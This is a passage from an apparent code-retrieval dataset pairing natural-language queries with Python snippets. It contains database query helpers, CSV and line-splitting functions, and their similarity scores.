{result.completion_query_info.get('StatusCode')})\\\"\\n err_args = [err_desc, err_code]\\n err_args.append(f\\\"Query:\\\\n{query}\\\")\\n raise MsticpyDataQueryError(*err_args)\",\n \"def execute_query(self, query, type_of_query, table):\\n try:\\n self.db_connection()\\n if self.connection is not None:\\n with self.connection.cursor() as cursor:\\n cursor.execute(query)\\n if type_of_query == \\\"SELECT\\\":\\n res = cursor.fetchall() # Saving a list of dictionaries where each dictionary is a record\\n headers = {element: element for element in {field[0] for field in cursor.description}} # tabulate requires a dict (each header has key and value)\\n print(tabulate(res, headers=headers, tablefmt='grid')) # print table with nice style\\n elif type_of_query == \\\"INSERT\\\": # INSERT query, commit is required\\n self.connection.commit()\\n except IntegrityError:\\n print(\\\"A new record couldn't be added\\\")\\n return False\\n finally:\\n self.close_connection() # Closing the opened connection\\n return True\",\n \"def query(self, q, *args):\\n\\n if self.dbtype == 'pg':\\n print q\\n return self.db.execute(q, *args).fetchall()\\n else:\\n cur = self.db.cursor()\\n try:\\n print q\\n print args\\n if args:\\n cur.execute(q, args)\\n else:\\n cur.execute(q)\\n ret = cur.fetchall()\\n return ret\\n except:\\n self.db.rollback()\\n raise\\n finally:\\n cur.close()\",\n \"def run_query(db, query):\\n log.debug(\\\"run query on %s: %s\\\", db, query)\\n conn = _connect(show_dbs(db)[db][\\\"uri\\\"])\\n return conn.cursor().execute(query).fetchall()\",\n \"def query(query, parameters=(), single=False):\\n cur = get_db().execute(query, parameters)\\n cur.row_factory = dict_factory\\n #cur = cur.cursor()\\n if single:\\n result = cur.fetchone()\\n else:\\n result = cur.fetchall()\\n cur.close()\\n return result\",\n \"def execute_sql(self, query, fetch_all=False):\\r\\n conn = self.create_connection()\\r\\n data = \\\"No data\\\"\\r\\n if conn:\\r\\n cursor = conn.cursor()\\r\\n try:\\r\\n if not fetch_all:\\r\\n data = cursor.execute(query).fetchone()\\r\\n else:\\r\\n data = cursor.execute(query).fetchall()\\r\\n except sqlite3.OperationalError as e:\\r\\n self._logger.exception(f'{e}. Query: {query}')\\r\\n conn.commit()\\r\\n conn.close()\\r\\n return data\\r\\n else:\\r\\n self._logger.error(f'Cannot create connection to {self._db_file_path}')\",\n \"def query(sql):\\n if (sql is None):\\n raise Exception(\\\"SQL not specified\\\") \\n try:\\n database = App.instance().environment.database\\n connection = psycopg2.connect(host=database.host, dbname=database.database, \\n user=database.user, password=database.password)\\n cursor = connection.cursor()\\n cursor.execute(sql)\\n fields = [ x[0] for x in cursor.description]\\n return (fields, cursor.fetchall())\\n except(Exception, psycopg2.DatabaseError) as error:\\n print(\\\"Error connecting to database\\\", error)\\n finally:\\n if not connection is None:\\n cursor.close()\\n connection.close()\",\n \"def get_result(query):\\r\\n db = psycopg2.connect(database=DBNAME)\\r\\n c = db.cursor()\\r\\n c.execute(query)\\r\\n results = c.fetchall()\\r\\n db.close()\\r\\n return results\",\n \"def sql_execute(sql_query, create_con_obj=None, n_row=0):\\r\\n\\r\\n if create_con_obj is None:\\r\\n create_con_obj = create_connection()\\r\\n print (sql_query)\\r\\n df = pd.read_sql(sql_query, create_con_obj)\\r\\n print (df.head(2))\\r\\n\\r\\n return df\",\n \"def sql_query(self, query, params=(), plain_query=False, dict_cursor=False,\\n cursor_class=None, show_table=False, buffsize=1024):\\n if not cursor_class:\\n if dict_cursor:\\n cursor_class = oursql.DictCursor\\n else:\\n cursor_class = oursql.Cursor\\n klass = cursor_class\\n\\n with self._sql_lock:\\n if not self._sql_conn:\\n self._sql_connect()\\n with self._sql_conn.cursor(klass, show_table=show_table) as cur:\\n cur.execute(query, params, plain_query)\\n if buffsize:\\n while True:\\n group = cur.fetchmany(buffsize)\\n if not group:\\n return\\n for result in group:\\n yield result\\n for result in cur.fetchall():\\n yield result\",\n \"def _execute_query(self,\\n sql_connection: Connection,\\n sql_query: Union[str, Query]) -> List[Dict[str, Any]]:\\n return_result: List[Dict[str, Any]] = []\\n result: ResultProxy = sql_connection.execute(sql_query)\\n if result and result.returns_rows:\\n return_result: List[Dict[str, Any]] = [dict(row) for row in result]\\n return return_result\",\n \"def select_query(self):\\n query = db.select([self.tables])\\n print(query)\\n ResultProxy = self.connection.execute(query)\\n ResultSet = ResultProxy.fetchall()\\n return ResultSet\",\n \"def query(output, query):\\n gqlapi = gql.get_api()\\n print_output(output, gqlapi.query(query))\",\n \"def do_query(self, query):\\n query = query.replace('\\\\n', ' ')\\n self.cursor.execute(query)\\n return self.cursor.fetchall()\",\n \"def query(self, query: str, *args, **kwargs):\\n cursor = self._cursor()\\n try:\\n self._execute(cursor, query, args, kwargs)\\n column_names = [d[0] for d in cursor.description]\\n return [Row(zip(column_names, row)) for row in cursor]\\n finally:\\n cursor.close()\",\n \"def run_query(query):\\n conn = connection.get_db_connection()\\n cursor = conn.cursor()\\n cursor.execute(query)\\n return cursor\",\n \"def execute_query(query):\\n try:\\n db = psycopg2.connect(database=DBNAME)\\n c = db.cursor()\\n c.execute(query)\\n result_table = c.fetchall()\\n db.close()\\n return result_table\\n except (Exception, psycopg2.DatabaseError) as error:\\n print(error)\",\n \"def command(self, args):\\n try:\\n with Reader(args.filename, args.sql_command) as odb_reader:\\n for row in odb_reader:\\n print(row)\\n except InterfaceError as err:\\n print(f\\\"Query interface error: {err}\\\")\\n except ProgrammingError as err:\\n if \\\"Assertion failed\\\" in str(err):\\n print(f\\\"Query error: {args.filename} does not appear to be a valid ODB2 file.\\\")\\n else:\\n print(f\\\"Query error: {err}\\\")\",\n \"def execute_query(query):\\n\\n db = psycopg2.connect(database=\\\"news\\\")\\n cursor = db.cursor()\\n cursor.execute(query)\\n query_result = cursor.fetchall()\\n db.close()\\n return query_result\",\n \"def query(self, query, *args, **kwargs):\\n # TODO: do not return an sqlite3 Errors\\n\\n if not self.begin():\\n return None\\n\\n self.execute(query, *args, **kwargs)\\n\\n # create clever result\\n ret = list()\\n for row in self.cursor:\\n if len(row) == 1: # (2)\\n ret.append(row[0])\\n else: # (3)\\n ret.append(row)\\n if len(ret) == 1: # (1)\\n ret = ret[0]\\n\\n self.end()\\n\\n return ret\",\n \"def execute_query(query):\\n db = psycopg2.connect(\\\"dbname=news\\\")\\n c = db.cursor()\\n c.execute(query)\\n results = c.fetchall()\\n db.close()\\n return results\",\n \"def query(self, query):\\n cursor = self.database.cursor()\\n cursor.execute(query)\\n # If it's a query that's expected to return a value (EG: SELECT)\\n if query.strip().lower().startswith('select'): return cursor.fetchall()\",\n \"def query(connection, sql, commit=True, results=True):\\n with connection.cursor() as cursor:\\n # Create a new record\\n cursor.execute(sql)\\n\\n # connection is not autocommit by default. So you must commit to save\\n # your changes.\\n if commit:\\n connection.commit()\\n\\n if results:\\n results = cursor.fetchall()\\n return results\",\n \"def execute_query(self, *args, **kwargs):\",\n \"def query(self, query, *args, **kwargs):\\n c = self._conn.cursor()\\n easy_query(c.execute, query, *args, **kwargs)\\n if c.description is None:\\n return c.rowcount\\n return Results(c.description, c.fetchall())\",\n \"def execute_sql(conn, query):\\n\\ttry:\\n\\t\\t\\tc = conn.cursor()\\n\\t\\t\\tc.execute(query)\\n\\texcept Error as e:\\n\\t\\t\\tprint(f\\\"SQL error :{e}\\\")\\n\\t\\t\\tprint(f\\\"Attempted to run: {query}\\\")\\n\\t\\t\\t\\n\\treturn c\",\n \"def query_one(self, sql: str) -> Any:\\n with self.connection.cursor() as cursor:\\n self.connection.ping(reconnect=True)\\n cursor.execute(sql)\\n row = cursor.fetchone()\\n self.connection.commit()\\n return row\",\n \"def fetch_single_res(db_conn, sql):\\n try:\\n with contextlib.closing(db_conn.cursor()) as curs:\\n curs.execute(sql)\\n return curs.fetchone()\\n except RuntimeError as e:\\n print(e.strerror)\",\n \"def execute(self, qry):\\n def internal():\\n print 'qry = ', qry\\n self._cur = self.get_cursor()\\n print 'self._cur = ', self._cur\\n self._cur.execute(qry)\\n # self.conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor).execute(qry)\\n rows = self._cur.fetchall()\\n return rows\\n\\n return self._retry(internal)\",\n \"def query_fetchall(self, q, param=None):\\r\\n try:\\r\\n c = self.connection.cursor()\\r\\n if param is None:\\r\\n c.execute(q)\\r\\n else:\\r\\n c.execute(q, param)\\r\\n self.logger.log(logger.LogLevel.DEBUG, 'database.fetchall: %s | %s' % (q, param)) \\r\\n return c.fetchall()\\r\\n except Exception as e:\\r\\n self.logger.log(logger.LogLevel.ERROR, 'database.fetchall: %s. %s | %s' % (e, q, param))\\r\\n return False\",\n \"def uglyprint(self):\\n\\n ctmp = self.conn.cursor()\\n ctmp.execute(\\\"SELECT * FROM ATOM\\\")\\n print(ctmp.fetchall())\",\n \"def db_query(query, db_name, user):\\n\\n # Attempt connection to DB with given parameters\\n try:\\n conn = psycopg2.connect(dbname=db_name, user=user)\\n except psycopg2.Error as e:\\n print(e)\\n raise SystemExit\\n\\n # Create cursor and try to execute given query\\n # and return fetched data\\n cur = conn.cursor()\\n try:\\n cur.execute(query)\\n except psycopg2.Error as e:\\n print(e)\\n conn.close()\\n else:\\n return cur.fetchall()\\n cur.close()\\n conn.close()\",\n \"def query(self, query_str):\\n try:\\n conn = MySQLdb.connect(**self.connect)\\n cur = conn.cursor()\\n result = cur.execute(query_str)\\n conn.commit()\\n conn.close()\\n return result\\n except Exception, e:\\n logger.error(\\\"mysql util error:\\\" + str(e))\",\n \"def run_query(query, args=[], conn=None):\\n if conn == None:\\n conn = create_connection()\\n\\n with conn.cursor() as cursor:\\n if query.lower().startswith(\\\"select\\\"):\\n cursor.execute(query=query, args=args)\\n return cursor.fetchall()\\n else:\\n cursor.execute(query=query, args=args)\\n try:\\n conn.commit()\\n except Exception as e:\\n print(\\\"ERROR OCCURED WHILE DB COMMIT --- DB_UTILS\\\", e)\",\n \"def query(self, sql, rowfactory=None, *args, **kwgs):\\n return query(self.conn, sql, rowfactory, *args, **kwgs)\",\n \"def _perform_single_query(khoros_object, query, fields=None, cursor=None):\\n # Construct the entire LiQL query\\n cursor = '' if not cursor else liql.structure_cursor_clause(cursor)\\n query = f\\\"{query} {cursor}\\\" if cursor else query\\n\\n # Perform the API call and retrieve the data\\n response = liql.perform_query(khoros_object, liql_query=query)\\n data = liql.get_returned_items(response)\\n\\n # Get the cursor when present\\n cursor = None\\n if response.get('data').get('next_cursor'):\\n cursor = response['data'].get('next_cursor')\\n\\n # Add missing columns to message data as needed\\n data = _add_missing_cols(data, fields)\\n try:\\n data = sorted(data, key=itemgetter(*tuple(data[0].keys())))\\n except KeyError as missing_key:\\n logger.error(f'Could not sort the user data because the \\\\'{missing_key}\\\\' key was missing.')\\n\\n # Return the user data and cursor\\n return data, cursor\",\n \"def fetch_one(cls, sql, **kwargs):\\n conn = kwargs['conn']\\n\\n cursor = conn.cursor(dictionary=True, buffered=False)\\n for _ in cursor.execute(sql, kwargs.get('args'), multi=True):\\n pass\\n\\n result = cursor.fetchone()\\n cls.close(conn, cursor)\\n\\n return result\",\n \"def sqlQuery (c, s) :\\n assert str(type(c)) == \\\"<type '_mysql.connection'>\\\"\\n assert type(s) is str\\n c.query(s)\\n r = c.use_result()\\n if r is None :\\n return None\\n assert str(type(r)) == \\\"<type '_mysql.result'>\\\"\\n t = r.fetch_row(maxrows = 0)\\n assert type(t) is tuple\\n return t\",\n \"def ExecQuery(con: Union[Dict[str, str], pyodbc.Connection], sql_string: str, nextset: bool=False, win_auth: bool=False):\\r\\n if type(con) == dict:\\r\\n con = StartConnection(**con, win_auth=win_auth)\\r\\n\\r\\n cursor = con.cursor()\\r\\n print(\\\"Executing SQL statement: {}\\\".format(sql_string))\\r\\n cursor.execute(sql_string)\\r\\n\\r\\n data = \\\"\\\"\\r\\n col_name_list = []\\r\\n if not nextset:\\r\\n data = cursor.fetchall()\\r\\n col_name_list = list(col[0] for col in cursor.description)\\r\\n else:\\r\\n while cursor.nextset():\\r\\n try:\\r\\n data = cursor.fetchall()\\r\\n col_name_list = list(col[0] for col in cursor.description)\\r\\n break\\r\\n except pyodbc.ProgrammingError:\\r\\n continue\\r\\n cursor.close()\\r\\n del cursor\\r\\n con.close()\\r\\n\\r\\n print(\\\"Finish Execution\\\")\\r\\n print(\\\"{} records are found.\\\".format(len(data)))\\r\\n msg = \\\"Fields of data: \\\\n\\\"\\r\\n for field in enumerate(col_name_list):\\r\\n msg = msg + str(field[0]) + \\\": \\\" + str(field[1]) + \\\"\\\\n\\\"\\r\\n print(msg, \\\"\\\\n\\\")\\r\\n return data, col_name_list\",\n \"def fetch_data_from_db(query):\\n cursor.execute(query)\\n result = cursor.fetchall()\\n return result\",\n \"def run_select_query(query, args = None):\\n cursor = db.get_cursor()\\n cursor.execute(query, args)\\n return cursor.fetchall()\",\n \"def execute_article_query():\\n db = psycopg2.connect(database=\\\"news\\\")\\n c = db.cursor()\\n c.execute(article_query)\\n content = c.fetchall()\\n db.close()\\n print(article_query_question)\\n for article, views in content:\\n print('\\\"%s\\\" -- %d views' % (article, views))\\n print('\\\\n')\",\n \"def execute_query(self) -> dict or list:\\n pass\",\n \"def select_all_data(conn, select_sql):\\n cur = conn.cursor()\\n cur.execute(select_sql)\\n\\n rows = cur.fetchall()\\n\\n for row in rows:\\n print(row)\",\n \"def db_connection(query):\\n db = psycopg2.connect(database=DBNAME)\\n c = db.cursor()\\n c.execute(query)\\n return c.fetchall()\\n db.close()\",\n \"def executeQuery(args):\\n\\n if 'dbname' not in args and 'query' not in args and 'type' not in args:\\n print \\\"invalid executeQuery options\\\"\\n else:\\n querytype = args['type']\\n connection = connect({ 'dbname' : args['dbname'] })\\n if connection:\\n cursor = connection.cursor()\\n query = args['query']\\n\\n # FIND QUERY\\n if(querytype == 'find'):\\n if 'values' not in args:\\n cursor.execute(query)\\n else:\\n cursor.execute(query,args['values'])\\n if cursor.rowcount > 0:\\n result = cursor.fetchall()\\n else:\\n result = 0\\n\\n # DELETE QUERY\\n if(querytype == 'delete'):\\n cursor.execute(query)\\n result = cursor.rowcount\\n\\n # INSERT QUERY\\n if(querytype == 'insert'):\\n if 'values' not in args:\\n print \\\"no values to insert\\\"\\n else:\\n cursor.execute(query,args['values'])\\n result = cursor.rowcount\\n\\n connection.commit()\\n cursor.close()\\n connection.close()\\n return result\",\n \"def print_results(self, question, query, desc=\\\"views\\\"):\\n # get the resuls from the query\\n results = self.db_results(query)\\n # print out the question\\n print(question)\\n # go through the rows and format the results\\n for row in results:\\n print('\\\\t' + str(row[0]) + ' - ' + str(row[1]) + ' ' + desc)\\n print\",\n \"def _query(self, query, data, fetch='all'):\\n rows = self.cursor.execute(query, data)\\n try:\\n if fetch == 'all':\\n return rows.fetchall()\\n elif fetch == 'one':\\n return rows.fetchone()\\n elif fetch == 'none':\\n self.conn.commit()\\n except Exception, e:\\n self.log.warning(\\\"miss on the db for {}: {}\\\".format(q, e))\\n raise Exception(\\\"SQLiteDB Fail on query: {}\\\".format(query) + \\\\\\n \\\"excetion was {}\\\".format(e))\",\n \"def _run_query(self):\",\n \"def test_iterating_query_with_arguments(self):\\n with Database(connstr) as db:\\n for row in db.query(\\\"\\\"\\\"select i, dc from test where i = %s or i = %s\\\"\\\"\\\", 2, 3):\\n\\n drow = row.as_dict\\n i, dc = drow['i'], drow['dc']\\n assert len(row) == 2\\n assert dc == Decimal('0.{}'.format(i))\\n assert repr(row) == '<Row {\\\"dc\\\": \\\"%s\\\", \\\"i\\\": %s}>' % (dc, i)\",\n \"def run_query(query_command):\\n connection = psycopg3.connect(database=DBNAME)\\n cursor = connection.cursor()\\n cursor.execute(query_command)\\n data = cursor.fetchall()\\n connection.close()\\n return data\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.76009005","0.73438525","0.72629637","0.71196103","0.7087542","0.6934488","0.685337","0.68415636","0.6833352","0.677931","0.67263293","0.6667802","0.6640822","0.663478","0.6630659","0.6616692","0.6614022","0.66114473","0.6609693","0.6557219","0.65535396","0.6549608","0.6520103","0.65162796","0.6510089","0.6507463","0.6507319","0.64998335","0.64525485","0.6440362","0.6436874","0.64302224","0.6427863","0.6423797","0.63900566","0.63855696","0.6376478","0.63720906","0.6368469","0.6362191","0.63610053","0.63604206","0.6356551","0.6344977","0.63368464","0.632416","0.6320165","0.63037467","0.629903","0.62926143","0.6292404","0.6286301","0.62553567","0.6249856","0.62445647","0.62434834","0.6234995","0.62240374","0.62043947","0.61993295","0.61964","0.61954206","0.61935365","0.61790544","0.6178951","0.617816","0.61771154","0.61765605","0.617107","0.61649394","0.6159375","0.6156525","0.61472905","0.6133846","0.6132938","0.6129874","0.6128837","0.61278653","0.6118878","0.6106525","0.60854757","0.60805905","0.60782063","0.60749024","0.60701877","0.60664195","0.60536987","0.603933","0.60365945","0.60277754","0.60249066","0.6019135","0.60143256","0.60128105","0.59902835","0.5989405","0.5985144","0.5981282","0.597518","0.5971174"],"string":"[\n \"0.76009005\",\n \"0.73438525\",\n \"0.72629637\",\n \"0.71196103\",\n \"0.7087542\",\n \"0.6934488\",\n \"0.685337\",\n \"0.68415636\",\n \"0.6833352\",\n \"0.677931\",\n \"0.67263293\",\n \"0.6667802\",\n \"0.6640822\",\n \"0.663478\",\n \"0.6630659\",\n \"0.6616692\",\n \"0.6614022\",\n \"0.66114473\",\n \"0.6609693\",\n \"0.6557219\",\n \"0.65535396\",\n \"0.6549608\",\n \"0.6520103\",\n \"0.65162796\",\n \"0.6510089\",\n \"0.6507463\",\n \"0.6507319\",\n \"0.64998335\",\n \"0.64525485\",\n \"0.6440362\",\n \"0.6436874\",\n \"0.64302224\",\n \"0.6427863\",\n \"0.6423797\",\n \"0.63900566\",\n \"0.63855696\",\n \"0.6376478\",\n \"0.63720906\",\n \"0.6368469\",\n \"0.6362191\",\n \"0.63610053\",\n \"0.63604206\",\n \"0.6356551\",\n \"0.6344977\",\n \"0.63368464\",\n \"0.632416\",\n \"0.6320165\",\n \"0.63037467\",\n \"0.629903\",\n \"0.62926143\",\n \"0.6292404\",\n \"0.6286301\",\n \"0.62553567\",\n \"0.6249856\",\n \"0.62445647\",\n \"0.62434834\",\n \"0.6234995\",\n \"0.62240374\",\n \"0.62043947\",\n \"0.61993295\",\n \"0.61964\",\n \"0.61954206\",\n \"0.61935365\",\n \"0.61790544\",\n \"0.6178951\",\n \"0.617816\",\n \"0.61771154\",\n \"0.61765605\",\n \"0.617107\",\n \"0.61649394\",\n \"0.6159375\",\n \"0.6156525\",\n \"0.61472905\",\n \"0.6133846\",\n \"0.6132938\",\n \"0.6129874\",\n \"0.6128837\",\n \"0.61278653\",\n \"0.6118878\",\n \"0.6106525\",\n \"0.60854757\",\n \"0.60805905\",\n \"0.60782063\",\n \"0.60749024\",\n \"0.60701877\",\n \"0.60664195\",\n \"0.60536987\",\n \"0.603933\",\n \"0.60365945\",\n \"0.60277754\",\n \"0.60249066\",\n \"0.6019135\",\n \"0.60143256\",\n \"0.60128105\",\n \"0.59902835\",\n \"0.5989405\",\n \"0.5985144\",\n \"0.5981282\",\n \"0.597518\",\n \"0.5971174\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.7054042"},"document_rank":{"kind":"string","value":"5"}}},{"rowIdx":82189,"cells":{"query":{"kind":"string","value":"(obj, str) > list() Converting input line that suppose to be an csv to the separated list."},"document":{"kind":"string","value":"def line_to_list(self, _line):\n\n\t\tresult = list()\t\t\n\t\t_line_splited = _line.split('\\t')\n\t\t\n\t\tfor value in _line_splited:\n\t\t\tvalue_stripped = value.strip().rstrip()\t\t\t\n\t\t\tresult.append(value_stripped)\t\t\t\t\n\t\t\n\t\treturn result"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def from_csv_line(line):\r\n return line.strip().split(',')","def csv_line(value_parser):\n def convert(string):\n return list(map(value_parser, string.split(',')))\n return convert","def lineToList(self, line):\n l = [item for item in next(csv.reader(StringIO.StringIO(line), self.CSVDialect))]\n if self.firstLine is None:\n self.firstLine = l\n return None\n return l","def convert_line(line):\n line = line.strip().replace(\"]\", \"\").replace(\"[\", \"\")\n return line.split(\",\")","def lineToList(self, line):\n raise NotImplementedError","def make_list(line):\n line = line.strip().split(\"=\")[1][1:-1].split(\",\")\n if line == [\"\"]:\n return []\n new_list = []\n for item in line:\n if len(line) > 0 and \">\" in item:\n obj = tuple(item.split(\">\"))\n else:\n obj = item\n if obj not in new_list:\n new_list.append(obj)\n return new_list","def stringInputToList(x):\n return list(filter(None, [y.strip() for y in x.split(',')]))","def csv_line(input_list):\n good_strings = [csv_friendly_string(x) for x in input_list]\n return string.join(good_strings, \",\") + \"\\n\"","def _convert_str_to_list(cls, v: Union[List[str], str]) -> List[str]:\n if isinstance(v, str):\n return v.split(\",\")\n return v # cov: ignore","def parse_csv2list_upload(file_name):\n with open(file_name) as f:\n records = csv.reader(f)\n csv_list = [[j.strip() for j in record] for record in records]\n return csv_list","def args_to_list(csv, allow_empty, arg_type=int, allow_negative=True):\n arg_vals = [arg_type(d) for d in str(csv).split(',')]\n if not allow_negative:\n arg_vals = [v for v in arg_vals if v >= 0]\n if not allow_empty and len(arg_vals) == 0:\n return None\n return arg_vals","def split_line(line: str) -> [str]:\n return line.strip().split(',')","def ar_extractLineEditList(lineEdit):\n strObj = lineEdit.text()\n objList = strObj.split(',')\n return objList","def csv_reader(self, file_obj):\n reader = csv.reader(file_obj)\n for row in reader:\n row_1 = (' '.join(row))\n self.data.append(row_1.split(';'))\n return self.data","def process_data(line):\n wire_path_data = []\n for i in line:\n wire_path_data.append(i.strip('\\n').split(','))\n return wire_path_data","def to_python(self, value):\n # Return an empty list if no input was given.\n if not value:\n return []\n return value.split(',')","def parse_csv_option(option):\n if option:\n return option.split(',')\n else:\n return []","def parse_csv_option(option):\n if option:\n return option.split(',')\n else:\n return []","def _parsecsv(x):\n for line in x:\n # decode as utf-8, whitespace-strip and split on delimiter\n yield line.decode('utf-8').strip().split(config.DELIMITER)","def read_file_to_list(input_file):\n with open(input_file) as csvfile:\n csv_rows = csv.reader(csvfile)\n\n data = []\n for row in csv_rows:\n data.append(row)\n\n return data","def convert_comma_separated_str_to_list(input_str: str, trim: bool = True) -> List[str]:\n comma_separated_str = input_str.strip() if trim else input_str\n if not comma_separated_str:\n return []\n\n result = []\n for part_str in comma_separated_str.split(\",\"):\n value = part_str\n if trim:\n value = value.strip()\n if not value:\n continue\n result.append(value)\n return result","def lectcsv(NOM):\n #NOM=input(\"nom du fichier:\")#interactif\n #NOM=str(NOM +\".csv\")\n c=[NOM]\n #ouverture du fichier et recuperation du contenu\n with open(NOM) as f:\n contenu = csv.reader(f, delimiter=' ', quotechar='|')\n for row in contenu:\n c.append(row[0].split(';'))#separation du string \n return c","def split_line(line):\n if ',' in line:\n return [a.strip() for a in line.split(',')]\n return line.split()","def listify(item, do_strip=False):\n if not item:\n return []\n elif isinstance(item, list):\n return item\n elif isinstance(item, string_types) and item.count(','):\n if do_strip:\n return [token.strip() for token in item.split(',')]\n else:\n return item.split(',')\n else:\n return [item]","def strToList(x):\n if type(x)==str:\n return [int(i) for i in x[1:-1].split(\", \")]","def str2list(input):\n if isinstance(input, str):\n return [input]\n\n else:\n return input","def __parseCsvRow(row):\r\n \r\n resultRow = []\r\n for item in row:\r\n if type(item) is str:\r\n if \".\" in item:\r\n try:\r\n f = float(item)\r\n resultRow.append(f)\r\n except ValueError:\r\n resultRow.append(item)\r\n else:\r\n try:\r\n i = int(item)\r\n resultRow.append(i)\r\n except ValueError:\r\n resultRow.append(item)\r\n else:\r\n resultRow.append(item)\r\n return resultRow","def read_csv_to_list(csv_path):\n\n with open(csv_path, newline=\"\") as f:\n reader = csv.reader(f)\n data = list(reader)\n\n return data","def _read_csv(cls, input_file, quotechar=None):\r\n with open(input_file, \"r\", encoding=\"utf-8\") as f:\r\n reader = csv.reader(f, delimiter=\",\", quotechar=quotechar)\r\n lines = []\r\n for line in reader:\r\n if sys.version_info[0] == 2:\r\n line = list(unicode(cell, 'utf-8') for cell in line)\r\n lines.append(line)\r\n return lines","def csv_to_list(csv_file, delimiter=','):\n with open(csv_file, 'r') as csv_con:\n reader = csv.reader(csv_con, delimiter=delimiter)\n return list(reader)","def readCSVIntoList(link):\r\n \r\n tweets_file = csv.reader(open(link, \"rt\", encoding=\"cp1252\"))\r\n tweets_list = list(tweets_file) \r\n\r\n return tweets_list","def listify(item, delimiter=\",\"):\n if not item:\n return []\n if type(item) is str:\n item = item.split(delimiter)\n if type(item) is not list:\n raise TypeError(\"'listify' must take None, str, or list!\")\n return item","def stmt2list(self, stmt):\n temp = ['%s\\n' % line for line in stmt.split('\\n')]\n return temp","def strToList(x):\n if type(x)==str:\n return x[2:-2].split(\"', '\")","def from_csv(value_string):\n if not value_string:\n return []\n if value_string[0] == \"[\" and value_string[-1] == \"]\":\n value_string = value_string[1:-1]\n else:\n # This is a single string entry, any comma contained\n # is part of the value and must not be used to\n # split up the string.\n return [value_string]\n\n if not value_string:\n return []\n stream = StringIO(value_string)\n stream.seek(0)\n reader = csv.reader(stream, dialect=\"excel\")\n return list(reader)[0]","def mapper_data_cleaning(self, l, line):\n lineitems = line.split(\",\")\n yield (lineitems[0], lineitems[2])","def listparse(csvfilename):\r\n output = []\r\n with open(csvfilename, 'r', newline = '') as csvfile:\r\n csvreader = csv.reader(csvfile, skipinitialspace = True)\r\n for row in csvreader:\r\n output.append(row)\r\n return output","def process_list_arg(arg):\n if isinstance(arg, list):\n return arg\n elif isinstance(arg, basestring):\n args = []\n for part in arg.split(\",\"):\n args.append(part.strip())\n return args","def csvread(infile):\n out_csv = []\n errors = []\n index = -1\n p = LineParser(csv=True)\n for line in infile:\n index += 1\n try:\n values = p.feed(line)\n except ListQuoteError as e:\n values = []\n e.line = line\n e.index = index\n errors.append(e)\n #\n out_csv.append(values)\n #\n if errors:\n e = CSVError(\"Parsing CSV failed. See 'errors' attribute.\")\n e.csv = out_csv\n e.errors = errors\n raise e\n return out_csv","def parse_csv(csv, as_ints=False):\n items = []\n for val in csv.split(\",\"):\n val = val.strip()\n if val:\n items.append(int(val) if as_ints else val)\n return items","def strToStrList(x):\n if type(x)==str:\n return x[2:-2].split(\"', '\")","def separate_list_input(input_: str) -> List[str]:\n no_commas = input_.replace(\",\", \" \")\n # Each string is naturally unicode, this causes problems with M2Crypto SANs\n # TODO: check if above is still true when M2Crypto is gone ^\n return [str(string) for string in no_commas.split()]","def read(self, line):\n data = []\n if six.PY3 and type(line) == six.binary_type:\n line = line.decode('utf-8')\n\n csv_reader = csv.reader(six.StringIO(line),\n delimiter=self.delimiter,\n quotechar=self.quotechar,\n skipinitialspace=True)\n for cr in csv_reader:\n data = [decode_string(f).strip() for f in cr]\n break\n\n return None, data","def process_line(line):\n\n name_comp_list = []\n givenname_comp_list = []\n surname_comp_list = []\n geocode_comp_list = []\n locality_comp_list = []\n date1_comp_list = []\n date2_comp_list = []\n\n # Split the line into the basic fields - - - - - - - - - - - - - - - - - - -\n #\n if (config.in_file_type in ['CSV','CSVQ','TAB','TABQ']):\n # Comma or tabulator separated\n try:\n line_list = config.line_parser.parse(line)\n except:\n log_message('CSV line parsing failed with inout: '+line,'err')\n\n if (len(line_list) < config.input_len):\n log_message('Input line does not contain enough fields,' +\\\n 'fill up with empty fields','warn')\n while (len(line_list) < config.input_len):\n line_list.append('')\n\n config.curr_line_list = line_list # Save current line list\n\n # Extract fields into different component lists - - - - - - - - - - - - - -\n #\n if (config.input_component['name'] != []): # Extract name fields\n for i in config.input_component['name']:\n name_comp_list.append(line_list[i])\n\n else: # Extract givenname and surname into separate components - - - - - -\n if (config.input_component['givenname'] != []): # Extract g-name fields\n for i in config.input_component['givenname']:\n givenname_comp_list.append(line_list[i])\n\n if (config.input_component['surname'] != []): # Extract surname fields\n for i in config.input_component['surname']:\n surname_comp_list.append(line_list[i])\n\n if (config.input_component['geocode'] != []): # Extract geocode fields\n for i in config.input_component['geocode']:\n geocode_comp_list.append(line_list[i])\n\n if (config.input_component['locality'] != []): # Extract locality fields\n for i in config.input_component['locality']:\n locality_comp_list.append(line_list[i])\n\n if (config.input_component['date1'] != []): # Extract date1 fields\n for i in config.input_component['date1']:\n date1_comp_list.append(line_list[i])\n\n if (config.input_component['date2'] != []): # Extract date2 fields\n for i in config.input_component['date2']:\n date2_comp_list.append(line_list[i])\n\n elif (config.in_file_type == 'COL'): # Column based input file - - - - - - -\n\n if (len(line) < config.input_len):\n log_message('Input line is not long enough, fill up with spaces','warn')\n line += ' '*(config.input_len-len(line))\n\n if (config.input_component['name'] != []): # Extract name fields\n for (col_start,length) in config.input_component['name']:\n name_comp_list.append(line[col_start,col_start+length])\n\n else: # Extract givenname and surname into separate components - - - - - -\n if (config.input_component['givenname'] != []): # Extract g-name fields\n for (col_start,length) in config.input_component['givenname']:\n givenname_comp_list.append(line[col_start,col_start+length])\n\n if (config.input_component['surname'] != []): # Extract surname fields\n for (col_start,length) in config.input_component['surname']:\n surname_comp_list.append(line[col_start,col_start+length])\n\n if (config.input_component['geocode'] != []): # Extract geocode fields\n for (col_start,length) in config.input_component['geocode']:\n geocode_comp_list.append(line[col_start,col_start+length])\n\n if (config.input_component['locality'] != []): # Extract locality fields\n for (col_start,length) in config.input_component['locality']:\n locality_comp_list.append(line[col_start,col_start+length])\n\n if (config.input_component['date1'] != []): # Extract date1 fields\n for (col_start,length) in config.input_component['date1']:\n date1_comp_list.append(line[col_start,col_start+length])\n\n if (config.input_component['date2'] != []): # Extract date2 fields\n for (col_start,length) in config.input_component['date2']:\n date2_comp_list.append(line[col_start,col_start+length])\n\n # elif (config.in_file_type == 'SQL'): # - - - - - - - - - - - - - - - - - -\n\n ################################\n # Add later: 